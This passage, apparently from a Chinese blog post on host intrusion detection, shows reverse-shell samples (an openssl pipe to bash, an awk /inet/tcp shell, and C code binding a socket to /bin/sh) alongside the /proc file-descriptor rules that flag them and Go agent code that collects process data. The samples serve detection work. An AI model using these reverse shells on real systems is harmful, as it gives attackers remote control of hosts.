openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

靶机

openssl s_client -quiet -connect 127.0.0.1:1234|/bin/bash|openssl s_client -quiet -connect 127.0.0.1:12345

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了pipe。
匹配规则:bash进程的0,和1文件描述符指向pipe

awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

无明显文件句柄特征


#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 1234;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;       
}

目标机执行后的结果如下:

创建了一个常住进程“sh ”, 它的得0和1文件描述符都指向socket。

匹配规则:sh进程的0,和1文件描述符指向socket

归纳起来,shell环境的进程如果0和1(或某一个)文件描述符都关联到socket或者pipe,就认为它是反弹shell。

shell 环境包含: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

 

HIDS-Agent 开发

使用 cgroups + etcd + kafka 开发而成的hids的架构,agent 部分使用go 开发而成, 会把采集的数据写入到kafka里面,由后端的规则引擎(go开发而成)消费,配置部分以及agent存活使用etcd。关于agent 使用cgroups限制资源以及使用etcd做配置管理agent存活等已经在前文介绍了一下。下面介绍一下agent分析反弹shell的部分。

代码例子:
主要是分析 Linux /proc的内容

import (
    "fmt"
    "io/ioutil"
    "os"
    "strconv"
    "strings"
)

func GetProcessList() (resultData []map[string]string) {
    var dirs []string
    var err error
    dirs, err = dirsUnder("/proc")
    if err != nil || len(dirs) == 0 {
        return
    }
    for _, v := range dirs {
        pid, err := strconv.Atoi(v)
        if err != nil {
            continue
        }
        statusInfo := getStatus(pid)
        ppid,_ := strconv.Atoi(statusInfo["PPid"])
        pstatusInfo := getStatus(ppid)
        command := getcmdline(pid)
        fd := getfd(pid)
        m := make(map[string]string)
        m["pid"] = v
        m["ppid"] = statusInfo["PPid"]
        m["name"] = statusInfo["Name"]

        if len(strings.Fields(statusInfo["Uid"])) == 4 {
            m["uid"] = strings.Fields(statusInfo["Uid"])[0]
            m["euid"] = strings.Fields(statusInfo["Uid"])[1]
            m["suid"] = strings.Fields(statusInfo["Uid"])[2]
            m["fsuid"] =strings.Fields(statusInfo["Uid"])[3]
        }

        if len(strings.Fields(statusInfo["Gid"])) ==4 {
            m["gid"] = strings.Fields(statusInfo["Gid"])[0]
            m["egid"] = strings.Fields(statusInfo["Gid"])[1]
            m["sgid"] = strings.Fields(statusInfo["Gid"])[2]
            m["fsgid"] =strings.Fields(statusInfo["Gid"])[3]
        }

        if len(strings.Fields(pstatusInfo["Uid"])) ==4  {
            m["puid"] = strings.Fields(pstatusInfo["Uid"])[0]
            m["peuid"] = strings.Fields(pstatusInfo["Uid"])[1]
            m["psuid"] = strings.Fields(pstatusInfo["Uid"])[2]
            m["pfsuid"] =strings.Fields(pstatusInfo["Uid"])[3]
        }

        if len(strings.Fields(pstatusInfo["Gid"])) ==4 {
            m["pgid"] = strings.Fields(pstatusInfo["Gid"])[0]
            m["pegid"] = strings.Fields(pstatusInfo["Gid"])[1]
            m["psgid"] = strings.Fields(pstatusInfo["Gid"])[2]
            m["pfsgid"] =strings.Fields(pstatusInfo["Gid"])[3]
        }

        m["fd"] = fd
        m["command"] = command
        resultData = append(resultData, m)
    }
    return
}
func getcmdline(pid int) string {
    cmdlineFile := fmt.Sprintf("/proc/%d/cmdline", pid)
    cmdlineBytes, e := ioutil.ReadFile(cmdlineFile)
    if e != nil {
        return ""
    }
    cmdlineBytesLen := len(cmdlineBytes)
    if cmdlineBytesLen == 0 {
        return ""
    }
    for i, v := range cmdlineBytes {
        if v == 0 {
            cmdlineBytes[i] = 0x20
        }
    }
    return strings.TrimSpace(string(cmdlineBytes))
}



func getStatus(pid int) (status map[string]string) {
    status = make(map[string]string)
    statusFile := fmt.Sprintf("/proc/%d/status", pid)
    var content []byte
    var err error
    content, err = ioutil.ReadFile(statusFile)
    if err != nil {
        return
    }
    for _, line := range strings.Split(string(content), "\n") {
        if strings.Contains(line, ":") {
            kv := strings.SplitN(line, ":", 2)
            status[kv[0]] = strings.TrimSpace(kv[1])
        }
    }
    //fmt.Println(status)
    return
}

func dirsUnder(dirPath string) ([]string, error) {
    fs, err := ioutil.ReadDir(dirPath)
    if err != nil {
        return []string{}, err
    }

    sz := len(fs)
    if sz == 0 {
        return []string{}, nil
    }
    ret := make([]string, 0, sz)
    for i := 0; i < sz; i++ {
        if fs[i].IsDir() {
            name := fs[i].Name()
            if name != "." && name != ".." {
                ret = append(ret, name)
            }
        }
    }
    return ret, nil
}


func getfd(pid int) string {
    fdDir := fmt.Sprintf("/proc/%d/fd", pid)

    dirs, err := dirsFile(fdDir)
    if err != nil || len(dirs) == 0 {
        return ""
    }

    m := []string{}
    for _, v := range dirs {
        fileInfo, err := os.Readlink(v)
        if err != nil {
            continue
        }
        countSplit := strings.Split(v, "/")
        m=append(m,strings.Join(countSplit[3:], "/")+"---"+fileInfo)

    }

    return strings.Join(m, " ")
}

func dirsFile(dirPath string) ([]string, error) {
    fs, err := ioutil.ReadDir(dirPath)
    if err != nil {
        return []string{}, err
    }
    sz := len(fs)
    if sz == 0 {
        return []string{}, nil
    }
    ret := make([]string, 0, sz)
    for i := 0; i < sz; i++ {
        if !fs[i].IsDir() {
            name := dirPath + "/" + fs[i].Name()
            ret = append(ret, name)
        }
    }
    return ret, nil
}

抓取的数据如下

{
    "command":"bash -i",
    "egid":"0",
    "euid":"0",
    "fd":"fd/0---socket:[27215273] fd/1---socket:[27215273] fd/2---socket:[27215273] fd/255---/dev/tty",
    "fsgid":"0",
    "fsuid":"0",
    "gid":"0",
    "name":"bash",
    "pegid":"0",
    "peuid":"0",
    "pfsgid":"0",
    "pfsuid":"0",
    "pgid":"0",
    "pid":"23923",
    "ppid":"23592",
    "psgid":"0",
    "psuid":"0",
    "puid":"0",
    "sgid":"0",
    "suid":"0",
    "uid":"0"
}

对应上面的规则,在server 端做流式分析,很多东西一目了然,不过, 百密总有一疏,绕过的方法大家自主了解,技术在对抗中升华。

posted @ 2022-06-06 16:20  bonelee  阅读(1635)  评论(0编辑  收藏  举报